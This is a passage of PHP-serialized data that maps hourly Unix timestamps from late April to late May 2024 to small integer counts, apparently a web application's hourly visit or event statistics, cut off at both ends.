8;}i:1714222800;a:1:{i:0;i:12;}i:1714226400;a:1:{i:0;i:12;}i:1714230000;a:1:{i:0;i:4;}i:1714237200;a:1:{i:0;i:8;}i:1714244400;a:1:{i:0;i:10;}i:1714248000;a:1:{i:0;i:3;}i:1714255200;a:1:{i:0;i:11;}i:1714258800;a:1:{i:0;i:1;}i:1714262400;a:1:{i:0;i:11;}i:1714266000;a:1:{i:0;i:3;}i:1714273200;a:1:{i:0;i:9;}i:1714280400;a:1:{i:0;i:3;}i:1714284000;a:1:{i:0;i:7;}i:1714287600;a:1:{i:0;i:3;}i:1714291200;a:1:{i:0;i:5;}i:1714294800;a:1:{i:0;i:3;}i:1714298400;a:1:{i:0;i:1;}i:1714302000;a:1:{i:0;i:10;}i:1714309200;a:1:{i:0;i:15;}i:1714316400;a:1:{i:0;i:3;}i:1714320000;a:1:{i:0;i:6;}i:1714323600;a:1:{i:0;i:7;}i:1714327200;a:1:{i:0;i:3;}i:1714330800;a:1:{i:0;i:4;}i:1714334400;a:1:{i:0;i:3;}i:1714338000;a:1:{i:0;i:11;}i:1714345200;a:1:{i:0;i:7;}i:1714348800;a:1:{i:0;i:13;}i:1714352400;a:1:{i:0;i:11;}i:1714356000;a:1:{i:0;i:8;}i:1714359600;a:1:{i:0;i:18;}i:1714363200;a:1:{i:0;i:16;}i:1714366800;a:1:{i:0;i:10;}i:1714370400;a:1:{i:0;i:5;}i:1714377600;a:1:{i:0;i:3;}i:1714381200;a:1:{i:0;i:14;}i:1714384800;a:1:{i:0;i:9;}i:1714388400;a:1:{i:0;i:20;}i:1714392000;a:1:{i:0;i:6;}i:1714395600;a:1:{i:0;i:676;}i:1714399200;a:1:{i:0;i:4;}i:1714406400;a:1:{i:0;i:6;}i:1714417200;a:1:{i:0;i:7;}i:1714420800;a:1:{i:0;i:1;}i:1714428000;a:1:{i:0;i:7;}i:1714435200;a:1:{i:0;i:3;}i:1714438800;a:1:{i:0;i:2;}i:1714442400;a:1:{i:0;i:1;}i:1714446000;a:1:{i:0;i:7;}i:1714449600;a:1:{i:0;i:7;}i:1714453200;a:1:{i:0;i:8;}i:1714456800;a:1:{i:0;i:3;}i:1714460400;a:1:{i:0;i:3;}i:1714464000;a:1:{i:0;i:10;}i:1714467600;a:1:{i:0;i:9;}i:1714471200;a:1:{i:0;i:5;}i:1714474800;a:1:{i:0;i:8;}i:1714478400;a:1:{i:0;i:4;}i:1714482000;a:1:{i:0;i:4;}i:1714485600;a:1:{i:0;i:16;}i:1714489200;a:1:{i:0;i:14;}i:1714492800;a:1:{i:0;i:24;}i:1714496400;a:1:{i:0;i:7;}i:1714503600;a:1:{i:0;i:4;}i:1714514400;a:1:{i:0;i:5;}i:1714521600;a:1:{i:0;i:5;}i:1714532400;a:1:{i:0;i:25;}i:1714536000;a:1:{i:0;i:21;}i:1714539600;a:1:{i:0;i:16;}i:1714543200;a:1:{i:0;i:19;}i:1714546800;a:1:{i:0;i:14;}i:1714550400;a:1:{i:0;i:13;}i:1714554000;a:1:{i:0;i:22;}i:1714557600;a:1:{i:0;i:13;}i:1714561200;a:1:{i:0;i:25;}i:1714564800;a:1:{i:0;i:10;}i:1714568400;a:1:{i:0;i:17;}i:1714572000;a:1:{i:0;i:13;}i:1714575600;a:1:{i:0;i:15;}i:1714579200;a:1:{i:0;i:21;}i:1714582800;a:1:{i:0;i:16;}i:1714586400;a:1:{i:0;i:16;}i:1714590000;a:1:{i:0;i:13;}i:1714593600;a:1:{i:0;i:2;}i:1714597200;a:1:{i:0;i:3;}i:1714608000;a:1:{i:0;i:7;}i:1714618800;a:1:{i:0;i:5;}i:1714626000;a:1:{i:0;i:7;}i:1714633200;a:1:{i:0;i:8;}i:1714636800;a:1:{i:0;i:13;}i:1714640400;a:1:{i:0;i:9;}i:1714644000;a:1:{i:0;i:10;}i:1714647600;a:1:{i:0;i:19;}i:1714651200;a:1:{i:0;i:12;}i:1714654800;a:1:{i:0;i:27;}i:1714658400;a:1:{i:0;i:16;}i:1714662000;a:1:{i:0;i:13;}i:1714665600;a:1:{i:0;i:19;}i:1714669200;a:1:{i:0;i:15;}i:1714672800;a:1:{i:0;i:32;}i:1714676400;a:1:{i:0;i:18;}i:1714680000;a:1:{i:0;i:13;}i:1714683600;a:1:{i:0;i:23;}i:1714687200;a:1:{i:0;i:13;}i:1714690800;a:1:{i:0;i:17;}i:1714694400;a:1:{i:0;i:13;}i:1714698000;a:1:{i:0;i:4;}i:1714701600;a:1:{i:0;i:7;}i:1714705200;a:1:{i:0;i:2;}i:1714708800;a:1:{i:0;i:1;}i:1714712400;a:1:{i:0;i:5;}i:1714716000;a:1:{i:0;i:10;}i:1714719600;a:1:{i:0;i:6;}i:1714723200;a:1:{i:0;i:21;}i:1714730400;a:1:{i:0;i:7;}i:1714741200;a:1:{i:0;i:9;}i:1714748400;a:1:{i:0;i:1;}i:1714752000;a:1:{i:0;i:9;}i:1714755600;a:1:{i:0;i:1;}i:1714759200;a:1:{i:0;i:2;}i:1714762800;a:1:{i:0;i:5;}i:1714770000;a:1:{i:0;i:2;}i:1714773600;a:1:{i:0;i:5;}i:1714777200;a:1:{i:0;i:3;}i:1714780800;a:1:{i:0;i:5;}i:1714784400;a:1:{i:0;i:5;}i:1714788000;a:1:{i:0;i:14;}i:1714791600;a:1:{i:0;i:9;}i:1714795200;a:1:{i:0;i:3;}i:1714798800;a:1:{i:0;i:6;}i:1714802400;a:1:{i:0;i:8;}i:1714806000;a:1:{i:0;i:16;}i:1714809600;a:1:{i:0;i:8;}i:1714813200;a:1:{i:0;i:12;}i:1714816800;a:1:{i:0;i:6;}i:1714820400;a:1:{i:0;i:14;}i:1714824000;a:1:{i:0;i:7;}i:1714827600;a:1:{i:0;i:5;}i:1714831200;a:1:{i:0;i:9;}i:1714834800;a:1:{i:0;i:10;}i:1714838400;a:1:{i:0;i:18;}i:1714842000;a:1:{i:0;i:25;}i:1714845600;a:1:{i:0;i:25;}i:1714849200;a:1:{i:0;i:26;}i:1714852800;a:1:{i:0;i:23;}i:1714856400;a:1:{i:0;i:19;}i:1714860000;a:1:{i:0;i:23;}i:1714863600;a:1:{i:0;i:19;}i:1714867200;a:1:{i:0;i:8;}i:1714870800;a:1:{i:0;i:16;}i:1714874400;a:1:{i:0;i:4;}i:1714878000;a:1:{i:0;i:11;}i:1714881600;a:1:{i:0;i:6;}i:1714885200;a:1:{i:0;i:7;}i:1714888800;a:1:{i:0;i:13;}i:1714892400;a:1:{i:0;i:8;}i:1714896000;a:1:{i:0;i:4;}i:1714899600;a:1:{i:0;i:25;}i:1714903200;a:1:{i:0;i:27;}i:1714906800;a:1:{i:0;i:27;}i:1714910400;a:1:{i:0;i:21;}i:1714914000;a:1:{i:0;i:1;}i:1714917600;a:1:{i:0;i:9;}i:1714921200;a:1:{i:0;i:12;}i:1714924800;a:1:{i:0;i:20;}i:1714928400;a:1:{i:0;i:8;}i:1714932000;a:1:{i:0;i:13;}i:1714935600;a:1:{i:0;i:8;}i:1714939200;a:1:{i:0;i:14;}i:1714942800;a:1:{i:0;i:8;}i:1714946400;a:1:{i:0;i:7;}i:1714950000;a:1:{i:0;i:10;}i:1714953600;a:1:{i:0;i:12;}i:1714957200;a:1:{i:0;i:7;}i:1714960800;a:1:{i:0;i:10;}i:1714964400;a:1:{i:0;i:8;}i:1714968000;a:1:{i:0;i:15;}i:1714975200;a:1:{i:0;i:8;}i:1714978800;a:1:{i:0;i:4;}i:1714982400;a:1:{i:0;i:6;}i:1714986000;a:1:{i:0;i:6;}i:1714989600;a:1:{i:0;i:9;}i:1714993200;a:1:{i:0;i:8;}i:1714996800;a:1:{i:0;i:16;}i:1715000400;a:1:{i:0;i:8;}i:1715007600;a:1:{i:0;i:6;}i:1715014800;a:1:{i:0;i:13;}i:1715018400;a:1:{i:0;i:9;}i:1715025600;a:1:{i:0;i:5;}i:1715029200;a:1:{i:0;i:9;}i:1715036400;a:1:{i:0;i:5;}i:1715043600;a:1:{i:0;i:5;}i:1715047200;a:1:{i:0;i:19;}i:1715050800;a:1:{i:0;i:10;}i:1715054400;a:1:{i:0;i:27;}i:1715058000;a:1:{i:0;i:40;}i:1715061600;a:1:{i:0;i:39;}i:1715065200;a:1:{i:0;i:38;}i:1715068800;a:1:{i:0;i:43;}i:1715072400;a:1:{i:0;i:6;}i:1715076000;a:1:{i:0;i:19;}i:1715079600;a:1:{i:0;i:13;}i:1715083200;a:1:{i:0;i:16;}i:1715086800;a:1:{i:0;i:7;}i:1715090400;a:1:{i:0;i:3;}i:1715094000;a:1:{i:0;i:8;}i:1715097600;a:1:{i:0;i:12;}i:1715101200;a:1:{i:0;i:10;}i:1715104800;a:1:{i:0;i:19;}i:1715108400;a:1:{i:0;i:18;}i:1715112000;a:1:{i:0;i:18;}i:1715115600;a:1:{i:0;i:21;}i:1715119200;a:1:{i:0;i:12;}i:1715122800;a:1:{i:0;i:20;}i:1715126400;a:1:{i:0;i:13;}i:1715130000;a:1:{i:0;i:14;}i:1715133600;a:1:{i:0;i:9;}i:1715137200;a:1:{i:0;i:11;}i:1715140800;a:1:{i:0;i:14;}i:1715144400;a:1:{i:0;i:12;}i:1715148000;a:1:{i:0;i:17;}i:1715151600;a:1:{i:0;i:10;}i:1715155200;a:1:{i:0;i:20;}i:1715158800;a:1:{i:0;i:10;}i:1715162400;a:1:{i:0;i:20;}i:1715166000;a:1:{i:0;i:11;}i:1715169600;a:1:{i:0;i:14;}i:1715173200;a:1:{i:0;i:2;}i:1715176800;a:1:{i:0;i:5;}i:1715180400;a:1:{i:0;i:10;}i:1715184000;a:1:{i:0;i:1;}i:1715187600;a:1:{i:0;i:16;}i:1715191200;a:1:{i:0;i:10;}i:1715198400;a:1:{i:0;i:4;}i:1715209200;a:1:{i:0;i:6;}i:1715212800;a:1:{i:0;i:2;}i:1715216400;a:1:{i:0;i:8;}i:1715220000;a:1:{i:0;i:15;}i:1715223600;a:1:{i:0;i:12;}i:1715227200;a:1:{i:0;i:21;}i:1715230800;a:1:{i:0;i:38;}i:1715234400;a:1:{i:0;i:38;}i:1715238000;a:1:{i:0;i:38;}i:1715241600;a:1:{i:0;i:19;}i:1715245200;a:1:{i:0;i:20;}i:1715248800;a:1:{i:0;i:21;}i:1715252400;a:1:{i:0;i:15;}i:1715256000;a:1:{i:0;i:21;}i:1715259600;a:1:{i:0;i:10;}i:1715263200;a:1:{i:0;i:13;}i:1715266800;a:1:{i:0;i:24;}i:1715270400;a:1:{i:0;i:8;}i:1715274000;a:1:{i:0;i:13;}i:1715277600;a:1:{i:0;i:9;}i:1715281200;a:1:{i:0;i:8;}i:1715284800;a:1:{i:0;i:16;}i:1715288400;a:1:{i:0;i:9;}i:1715292000;a:1:{i:0;i:10;}i:1715295600;a:1:{i:0;i:10;}i:1715299200;a:1:{i:0;i:14;}i:1715302800;a:1:{i:0;i:16;}i:1715306400;a:1:{i:0;i:19;}i:1715310000;a:1:{i:0;i:9;}i:1715313600;a:1:{i:0;i:10;}i:1715317200;a:1:{i:0;i:15;}i:1715320800;a:1:{i:0;i:13;}i:1715324400;a:1:{i:0;i:20;}i:1715328000;a:1:{i:0;i:10;}i:1715331600;a:1:{i:0;i:15;}i:1715335200;a:1:{i:0;i:9;}i:1715338800;a:1:{i:0;i:15;}i:1715342400;a:1:{i:0;i:9;}i:1715346000;a:1:{i:0;i:2;}i:1715349600;a:1:{i:0;i:6;}i:1715356800;a:1:{i:0;i:9;}i:1715360400;a:1:{i:0;i:1;}i:1715367600;a:1:{i:0;i:4;}i:1715374800;a:1:{i:0;i:5;}i:1715378400;a:1:{i:0;i:1;}i:1715382000;a:1:{i:0;i:2;}i:1715385600;a:1:{i:0;i:9;}i:1715389200;a:1:{i:0;i:3;}i:1715392800;a:1:{i:0;i:11;}i:1715396400;a:1:{i:0;i:4;}i:1715400000;a:1:{i:0;i:9;}i:1715403600;a:1:{i:0;i:8;}i:1715407200;a:1:{i:0;i:15;}i:1715410800;a:1:{i:0;i:13;}i:1715414400;a:1:{i:0;i:13;}i:1715418000;a:1:{i:0;i:7;}i:1715421600;a:1:{i:0;i:12;}i:1715425200;a:1:{i:0;i:14;}i:1715428800;a:1:{i:0;i:3;}i:1715432400;a:1:{i:0;i:9;}i:1715436000;a:1:{i:0;i:5;}i:1715439600;a:1:{i:0;i:8;}i:1715443200;a:1:{i:0;i:8;}i:1715446800;a:1:{i:0;i:4;}i:1715450400;a:1:{i:0;i:5;}i:1715454000;a:1:{i:0;i:19;}i:1715457600;a:1:{i:0;i:5;}i:1715461200;a:1:{i:0;i:12;}i:1715464800;a:1:{i:0;i:14;}i:1715468400;a:1:{i:0;i:5;}i:1715472000;a:1:{i:0;i:22;}i:1715475600;a:1:{i:0;i:4;}i:1715479200;a:1:{i:0;i:6;}i:1715482800;a:1:{i:0;i:4;}i:1715486400;a:1:{i:0;i:13;}i:1715490000;a:1:{i:0;i:7;}i:1715493600;a:1:{i:0;i:19;}i:1715497200;a:1:{i:0;i:23;}i:1715500800;a:1:{i:0;i:14;}i:1715504400;a:1:{i:0;i:26;}i:1715508000;a:1:{i:0;i:21;}i:1715511600;a:1:{i:0;i:22;}i:1715515200;a:1:{i:0;i:18;}i:1715518800;a:1:{i:0;i:12;}i:1715522400;a:1:{i:0;i:7;}i:1715526000;a:1:{i:0;i:21;}i:1715529600;a:1:{i:0;i:8;}i:1715533200;a:1:{i:0;i:17;}i:1715536800;a:1:{i:0;i:8;}i:1715540400;a:1:{i:0;i:13;}i:1715544000;a:1:{i:0;i:9;}i:1715547600;a:1:{i:0;i:16;}i:1715551200;a:1:{i:0;i:12;}i:1715554800;a:1:{i:0;i:7;}i:1715558400;a:1:{i:0;i:15;}i:1715562000;a:1:{i:0;i:17;}i:1715565600;a:1:{i:0;i:10;}i:1715569200;a:1:{i:0;i:13;}i:1715572800;a:1:{i:0;i:14;}i:1715576400;a:1:{i:0;i:14;}i:1715580000;a:1:{i:0;i:23;}i:1715583600;a:1:{i:0;i:9;}i:1715587200;a:1:{i:0;i:8;}i:1715590800;a:1:{i:0;i:26;}i:1715594400;a:1:{i:0;i:30;}i:1715598000;a:1:{i:0;i:24;}i:1715601600;a:1:{i:0;i:21;}i:1715605200;a:1:{i:0;i:20;}i:1715608800;a:1:{i:0;i:11;}i:1715612400;a:1:{i:0;i:11;}i:1715616000;a:1:{i:0;i:7;}i:1715619600;a:1:{i:0;i:4;}i:1715623200;a:1:{i:0;i:6;}i:1715626800;a:1:{i:0;i:6;}i:1715630400;a:1:{i:0;i:11;}i:1715634000;a:1:{i:0;i:6;}i:1715637600;a:1:{i:0;i:5;}i:1715641200;a:1:{i:0;i:11;}i:1715644800;a:1:{i:0;i:20;}i:1715648400;a:1:{i:0;i:18;}i:1715652000;a:1:{i:0;i:10;}i:1715655600;a:1:{i:0;i:9;}i:1715659200;a:1:{i:0;i:9;}i:1715662800;a:1:{i:0;i:10;}i:1715666400;a:1:{i:0;i:14;}i:1715670000;a:1:{i:0;i:19;}i:1715673600;a:1:{i:0;i:16;}i:1715677200;a:1:{i:0;i:14;}i:1715680800;a:1:{i:0;i:13;}i:1715684400;a:1:{i:0;i:12;}i:1715688000;a:1:{i:0;i:6;}i:1715691600;a:1:{i:0;i:4;}i:1715695200;a:1:{i:0;i:1;}i:1715698800;a:1:{i:0;i:3;}i:1715702400;a:1:{i:0;i:5;}i:1715706000;a:1:{i:0;i:5;}i:1715713200;a:1:{i:0;i:5;}i:1715716800;a:1:{i:0;i:8;}i:1715720400;a:1:{i:0;i:1;}i:1715724000;a:1:{i:0;i:3;}i:1715727600;a:1:{i:0;i:2;}i:1715734800;a:1:{i:0;i:3;}i:1715738400;a:1:{i:0;i:5;}i:1715742000;a:1:{i:0;i:6;}i:1715745600;a:1:{i:0;i:9;}i:1715749200;a:1:{i:0;i:17;}i:1715752800;a:1:{i:0;i:18;}i:1715756400;a:1:{i:0;i:11;}i:1715760000;a:1:{i:0;i:15;}i:1715763600;a:1:{i:0;i:19;}i:1715767200;a:1:{i:0;i:14;}i:1715770800;a:1:{i:0;i:14;}i:1715774400;a:1:{i:0;i:10;}i:1715778000;a:1:{i:0;i:13;}i:1715781600;a:1:{i:0;i:12;}i:1715785200;a:1:{i:0;i:2;}i:1715788800;a:1:{i:0;i:1;}i:1715792400;a:1:{i:0;i:7;}i:1715796000;a:1:{i:0;i:5;}i:1715799600;a:1:{i:0;i:10;}i:1715803200;a:1:{i:0;i:5;}i:1715806800;a:1:{i:0;i:4;}i:1715810400;a:1:{i:0;i:7;}i:1715814000;a:1:{i:0;i:4;}i:1715817600;a:1:{i:0;i:5;}i:1715821200;a:1:{i:0;i:2;}i:1715824800;a:1:{i:0;i:3;}i:1715828400;a:1:{i:0;i:11;}i:1715832000;a:1:{i:0;i:15;}i:1715835600;a:1:{i:0;i:18;}i:1715839200;a:1:{i:0;i:14;}i:1715842800;a:1:{i:0;i:16;}i:1715846400;a:1:{i:0;i:12;}i:1715850000;a:1:{i:0;i:8;}i:1715853600;a:1:{i:0;i:6;}i:1715857200;a:1:{i:0;i:9;}i:1715860800;a:1:{i:0;i:14;}i:1715864400;a:1:{i:0;i:6;}i:1715868000;a:1:{i:0;i:4;}i:1715871600;a:1:{i:0;i:1;}i:1715875200;a:1:{i:0;i:10;}i:1715878800;a:1:{i:0;i:9;}i:1715882400;a:1:{i:0;i:4;}i:1715886000;a:1:{i:0;i:6;}i:1715889600;a:1:{i:0;i:5;}i:1715893200;a:1:{i:0;i:2;}i:1715896800;a:1:{i:0;i:4;}i:1715900400;a:1:{i:0;i:4;}i:1715904000;a:1:{i:0;i:3;}i:1715907600;a:1:{i:0;i:3;}i:1715911200;a:1:{i:0;i:4;}i:1715914800;a:1:{i:0;i:6;}i:1715918400;a:1:{i:0;i:5;}i:1715922000;a:1:{i:0;i:6;}i:1715925600;a:1:{i:0;i:6;}i:1715929200;a:1:{i:0;i:3;}i:1715932800;a:1:{i:0;i:3;}i:1715936400;a:1:{i:0;i:4;}i:1715940000;a:1:{i:0;i:1;}i:1715943600;a:1:{i:0;i:1;}i:1715947200;a:1:{i:0;i:1;}i:1715950800;a:1:{i:0;i:6;}i:1715954400;a:1:{i:0;i:9;}i:1715958000;a:1:{i:0;i:9;}i:1715961600;a:1:{i:0;i:11;}i:1715965200;a:1:{i:0;i:10;}i:1715968800;a:1:{i:0;i:34;}i:1715972400;a:1:{i:0;i:9;}i:1715976000;a:1:{i:0;i:13;}i:1715979600;a:1:{i:0;i:9;}i:1715983200;a:1:{i:0;i:10;}i:1715986800;a:1:{i:0;i:9;}i:1715990400;a:1:{i:0;i:12;}i:1715994000;a:1:{i:0;i:13;}i:1715997600;a:1:{i:0;i:13;}i:1716001200;a:1:{i:0;i:14;}i:1716004800;a:1:{i:0;i:15;}i:1716008400;a:1:{i:0;i:17;}i:1716012000;a:1:{i:0;i:18;}i:1716015600;a:1:{i:0;i:20;}i:1716019200;a:1:{i:0;i:16;}i:1716022800;a:1:{i:0;i:16;}i:1716026400;a:1:{i:0;i:13;}i:1716030000;a:1:{i:0;i:13;}i:1716033600;a:1:{i:0;i:8;}i:1716037200;a:1:{i:0;i:5;}i:1716040800;a:1:{i:0;i:6;}i:1716044400;a:1:{i:0;i:5;}i:1716051600;a:1:{i:0;i:1;}i:1716055200;a:1:{i:0;i:3;}i:1716058800;a:1:{i:0;i:2;}i:1716062400;a:1:{i:0;i:2;}i:1716066000;a:1:{i:0;i:2;}i:1716069600;a:1:{i:0;i:4;}i:1716073200;a:1:{i:0;i:2;}i:1716076800;a:1:{i:0;i:5;}i:1716080400;a:1:{i:0;i:4;}i:1716084000;a:1:{i:0;i:6;}i:1716087600;a:1:{i:0;i:6;}i:1716091200;a:1:{i:0;i:8;}i:1716094800;a:1:{i:0;i:10;}i:1716098400;a:1:{i:0;i:10;}i:1716102000;a:1:{i:0;i:11;}i:1716105600;a:1:{i:0;i:32;}i:1716109200;a:1:{i:0;i:51;}i:1716112800;a:1:{i:0;i:36;}i:1716116400;a:1:{i:0;i:25;}i:1716120000;a:1:{i:0;i:35;}i:1716123600;a:1:{i:0;i:19;}i:1716127200;a:1:{i:0;i:17;}i:1716130800;a:1:{i:0;i:22;}i:1716134400;a:1:{i:0;i:32;}i:1716138000;a:1:{i:0;i:28;}i:1716141600;a:1:{i:0;i:22;}i:1716145200;a:1:{i:0;i:20;}i:1716148800;a:1:{i:0;i:27;}i:1716152400;a:1:{i:0;i:32;}i:1716156000;a:1:{i:0;i:13;}i:1716159600;a:1:{i:0;i:29;}i:1716163200;a:1:{i:0;i:26;}i:1716166800;a:1:{i:0;i:32;}i:1716170400;a:1:{i:0;i:33;}i:1716174000;a:1:{i:0;i:52;}i:1716177600;a:1:{i:0;i:25;}i:1716181200;a:1:{i:0;i:29;}i:1716184800;a:1:{i:0;i:26;}i:1716188400;a:1:{i:0;i:20;}i:1716192000;a:1:{i:0;i:18;}i:1716195600;a:1:{i:0;i:8;}i:1716199200;a:1:{i:0;i:8;}i:1716202800;a:1:{i:0;i:10;}i:1716206400;a:1:{i:0;i:9;}i:1716210000;a:1:{i:0;i:10;}i:1716213600;a:1:{i:0;i:12;}i:1716217200;a:1:{i:0;i:12;}i:1716220800;a:1:{i:0;i:9;}i:1716224400;a:1:{i:0;i:9;}i:1716228000;a:1:{i:0;i:8;}i:1716231600;a:1:{i:0;i:9;}i:1716235200;a:1:{i:0;i:8;}i:1716238800;a:1:{i:0;i:8;}i:1716242400;a:1:{i:0;i:9;}i:1716246000;a:1:{i:0;i:9;}i:1716249600;a:1:{i:0;i:8;}i:1716253200;a:1:{i:0;i:6;}i:1716256800;a:1:{i:0;i:12;}i:1716260400;a:1:{i:0;i:6;}i:1716264000;a:1:{i:0;i:9;}i:1716267600;a:1:{i:0;i:7;}i:1716271200;a:1:{i:0;i:10;}i:1716274800;a:1:{i:0;i:9;}i:1716278400;a:1:{i:0;i:5;}i:1716282000;a:1:{i:0;i:7;}i:1716285600;a:1:{i:0;i:4;}i:1716289200;a:1:{i:0;i:6;}i:1716292800;a:1:{i:0;i:7;}i:1716296400;a:1:{i:0;i:8;}i:1716300000;a:1:{i:0;i:2;}i:1716303600;a:1:{i:0;i:9;}i:1716307200;a:1:{i:0;i:8;}i:1716321600;a:1:{i:0;i:1;}i:1716328800;a:1:{i:0;i:1;}i:1716336000;a:1:{i:0;i:5;}i:1716339600;a:1:{i:0;i:11;}i:1716343200;a:1:{i:0;i:8;}i:1716346800;a:1:{i:0;i:7;}i:1716350400;a:1:{i:0;i:7;}i:1716354000;a:1:{i:0;i:9;}i:1716357600;a:1:{i:0;i:10;}i:1716361200;a:1:{i:0;i:5;}i:1716364800;a:1:{i:0;i:6;}i:1716368400;a:1:{i:0;i:7;}i:1716372000;a:1:{i:0;i:22;}i:1716375600;a:1:{i:0;i:5;}i:1716379200;a:1:{i:0;i:6;}i:1716382800;a:1:{i:0;i:1;}i:1716386400;a:1:{i:0;i:3;}i:1716390000;a:1:{i:0;i:3;}i:1716393600;a:1:{i:0;i:3;}i:1716397200;a:1:{i:0;i:4;}i:1716400800;a:1:{i:0;i:4;}i:1716404400;a:1:{i:0;i:5;}i:1716408000;a:1:{i:0;i:5;}i:1716411600;a:1:{i:0;i:3;}i:1716415200;a:1:{i:0;i:3;}i:1716418800;a:1:{i:0;i:4;}i:1716422400;a:1:{i:0;i:4;}i:1716426000;a:1:{i:0;i:6;}i:1716429600;a:1:{i:0;i:6;}i:1716433200;a:1:{i:0;i:6;}i:1716436800;a:1:{i:0;i:9;}i:1716440400;a:1:{i:0;i:14;}i:1716444000;a:1:{i:0;i:13;}i:1716447600;a:1:{i:0;i:16;}i:1716451200;a:1:{i:0;i:15;}i:1716454800;a:1:{i:0;i:8;}i:1716458400;a:1:{i:0;i:13;}i:1716462000;a:1:{i:0;i:13;}i:1716465600;a:1:{i:0;i:8;}i:1716469200;a:1:{i:0;i:1;}i:1716472800;a:1:{i:0;i:9;}i:1716476400;a:1:{i:0;i:15;}i:1716480000;a:1:{i:0;i:6;}i:1716483600;a:1:{i:0;i:6;}i:1716487200;a:1:{i:0;i:9;}i:1716490800;a:1:{i:0;i:3;}i:1716494400;a:1:{i:0;i:6;}i:1716498000;a:1:{i:0;i:8;}i:1716501600;a:1:{i:0;i:4;}i:1716505200;a:1:{i:0;i:5;}i:1716508800;a:1:{i:0;i:3;}i:1716512400;a:1:{i:0;i:21;}i:1716516000;a:1:{i:0;i:3;}i:1716519600;a:1:{i:0;i:29;}i:1716523200;a:1:{i:0;i:5;}i:1716526800;a:1:{i:0;i:22;}i:1716530400;a:1:{i:0;i:7;}i:1716534000;a:1:{i:0;i:20;}i:1716537600;a:1:{i:0;i:4;}i:1716541200;a:1:{i:0;i:4;}i:1716544800;a:1:{i:0;i:17;}i:1716548400;a:1:{i:0;i:6;}i:1716552000;a:1:{i:0;i:20;}i:1716555600;a:1:{i:0;i:2;}i:1716559200;a:1:{i:0;i:14;}i:1716562800;a:1:{i:0;i:6;}i:1716566400;a:1:{i:0;i:18;}i:1716570000;a:1:{i:0;i:2;}i:1716573600;a:1:{i:0;i:10;}i:1716577200;a:1:{i:0;i:16;}i:1716580800;a:1:{i:0;i:12;}i:1716584400;a:1:{i:0;i:6;}i:1716588000;a:1:{i:0;i:16;}i:1716591600;a:1:{i:0;i:10;}i:1716595200;a:1:{i:0;i:5;}i:1716598800;a:1:{i:0;i:7;}i:1716602400;a:1:{i:0;i:2;}i:1716606000;a:1:{i:0;i:4;}i:1716609600;a:1:{i:0;i:3;}i:1716613200;a:1:{i:0;i:5;}i:1716616800;a:1:{i:0;i:3;}i:1716620400;a:1:{i:0;i:3;}i:1716624000;a:1:{i:0;i:8;}i:1716627600;a:1:{i:0;i:5;}i:1716631200;a:1:{i:0;i:8;}i:1716634800;a:1:{i:0;i:10;}i:1716638400;a:1:{i:0;i:13;}i:1716642000;a:1:{i:0;i:8;}i:1716645600;a:1:{i:0;i:6;}i:1716649200;a:1:{i:0;i:8;}i:1716652800;a:1:{i:0;i:8;}i:1716656400;a:1:{i:0;i:21;}i:1716660000;a:1:{i:0;i:8;}i:1716663600;a:1:{i:0;i:10;}i:1716667200;a:1:{i:0;i:1;}i:1716674400;a:1:{i:0;i:3;}i:1716678000;a:1:{i:0;i:3;}i:1716685200;a:1:{i:0;i:1;}i:1716688800;a:1:{i:0;i:3;}i:1716692400;a:1:{i:0;i:3;}i:1716696000;a:1:{i:0;i:4;}i:1716699600;a:1:{i:0;i:10;}i:1716703200;a:1:{i:0;i:12;}i:1716706800;a:1:{i:0;i:11;}i:1716710400;a:1:{i:0;i:8;}i:1716714000;a:1:{i:0;i:10;}i:1716717600;a:1:{i:0;i:10;}i:1716721200;a:1:{i:0;i:7;}i:1716724800;a:1:{i:0;i:7;}i:1716728400;a:1:{i:0;i:7;}i:1716732000;a:1:{i:0;i:1;}i:1716735600;a:1:{i:0;i:8;}i:1716739200;a:1:{i:0;i:2;}i:1716742800;a:1:{i:0;i:6;}i:1716746400;a:1:{i:0;i:2;}i:1716750000;a:1:{i:0;i:4;}i:1716753600;a:1:{i:0;i:2;}i:1716757200;a:1:{i:0;i:6;}i:1716760800;a:1:{i:0;i:7;}i:1716764400;a:1:{i:0;i:2;}i:1716768000;a:1:{i:0;i:2;}i:1716771600;a:1:{i:0;i:6;}i:1716775200;a:1:{i:0;i:7;}i:1716778800;a:1:{i:0;i:14;}i:1716782400;a:1:{i:0;i:20;}i:1716786000;a:1:{i:0;i:18;}i:1716789600;a:1:{i:0;i:18;}i:1716793200;a:1:{i:0;i:15;}i:1716796800;a:1:{i:0;i:12;}i:1716800400;a:1:{i:0;i:15;}i:1716804000;a:1:{i:0;i:11;}i:1716807600;a:1:{i:0;i:9;}i:1716811200;a:1:{i:0;i:5;}i:1716814800;a:1:{i:0;i:3;}i:1716818400;a:1:{i:0;i:9;}i:1716822000;a:1:{i:0;i:5;}i:1716825600;a:1:{i:0;i:4;}i:1716829200;a:1:{i:0;i:6;}i:1716832800;a:1:{i:0;i:5;}i:1716836400;a:1:{i:0;i:9;}i:1716840000;a:1:{i:0;i:6;}i:1716843600;a:1:{i:0;i:5;}i:1716847200;a:1:{i:0;i:6;}i:1716850800;a:1:{i:0;i:6;}i:1716854400;a:1:{i:0;i:9;}i:1716858000;a:1:{i:0;i:6;}i:1716861600;a:1:{i:0;i:5;}i:1716865200;a:1:{i:0;i:6;}i:1716868800;a:1:{i:0;i:6;}i:1716872400;a:1:{i:0;i:8;}i:1716876000;a:1:{i:0;i:4;}i:1716879600;a:1:{i:0;i:6;}i:1716883200;a:1:{i:0;i:5;}i:1716886800;a:1:{i:0;i:6;}i:1716890400;a:1:{i:0;i:9;}i:1716894000;a:1:{i:0;i:3;}i:1716901200;a:1:{i:0;i:3;}i:1716908400;a:1:{i:0;i:3;}i:1716926400;a:1:{i:0;i:4;}i:1716930000;a:1:{i:0;i:1;}i:1716944400;a:1:{i:0;i:3;}i:1716951600;a:1:{i:0;i:8;}i:1716955200;a:1:{i:0;i:4;}i:1716958800;a:1:{i:0;i:7;}i:1716962400;a:1:{i:0;i:12;}i:1716966000;a:1:{i:0;i:14;}i:1716969600;a:1:{i:0;i:15;}i:1716973200;a:1:{i:0;i:18;}i:1716976800;a:1:{i:0;i:14;}i:1716980400;a:1:{i:0;i:9;}i:1716984000;a:1:{i:0;i:12;}i:1716987600;a:1:{i:0;i:9;}i:1716991200;a:1:{i:0;i:1;}i:1716994800;a:1:{i:0;i:8;}i:1716998400;a:1:{i:0;i:7;}i:1717002000;a:1:{i:0;i:5;}i:1717005600;a:1:{i:0;i:8;}i:1717009200;a:1:{i:0;i:11;}i:1717012800;a:1:{i:0;i:7;}i:1717016400;a:1:{i:0;i:8;}i:17